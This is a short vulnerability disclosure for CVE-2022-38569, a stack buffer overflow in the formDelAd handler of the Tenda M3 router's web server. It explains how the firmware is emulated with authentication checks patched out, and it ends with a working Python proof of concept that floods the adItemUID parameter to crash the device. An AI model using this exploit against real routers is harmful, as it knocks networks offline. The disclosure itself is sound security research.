CVE-2022-38569: Vuln/Tenda M3/formDelAd at main · xxy1126/Vuln

Tenda M3 contains Stack Buffer Overflow Vulnerability****overview

• type: stack buffer overflow vulnerability

• supplier: Tenda https://www.tenda.com

• product: TendaM3 https://www.tenda.com.cn/product/M3.html

• firmware download: https://www.tenda.com.cn/download/detail-3133.html

• affect version: TendaM3 v1.0.0.12(4856)

Description****1. Vulnerability Details

the httpd in directory /bin has a buffer overflow. The vunlerability is in fucntion formDelAd

In this function, it copies POST parameter adItemUID to stack buffer v6

If s is too long, it will causes dos(deny of service)

2. Recurring loopholes and POC

use qemu-arm-static to run the httpd, we need to patch it before run.

• in main function, The ConnectCfm function didn’t work properly, so I patched it to NOP
• The R7WebsSecurityHandler function is used for permission control, and I’ve modified it to access URLs that can only be accessed after login

poc of DOS(deny of service)

import requests

data = { "adItemUID": "a"*0x2000 } cookies = { "user": “admin” } res = requests.post("http://127.0.0.1/goform/delAd", data=data, cookies=cookies) print(res.content)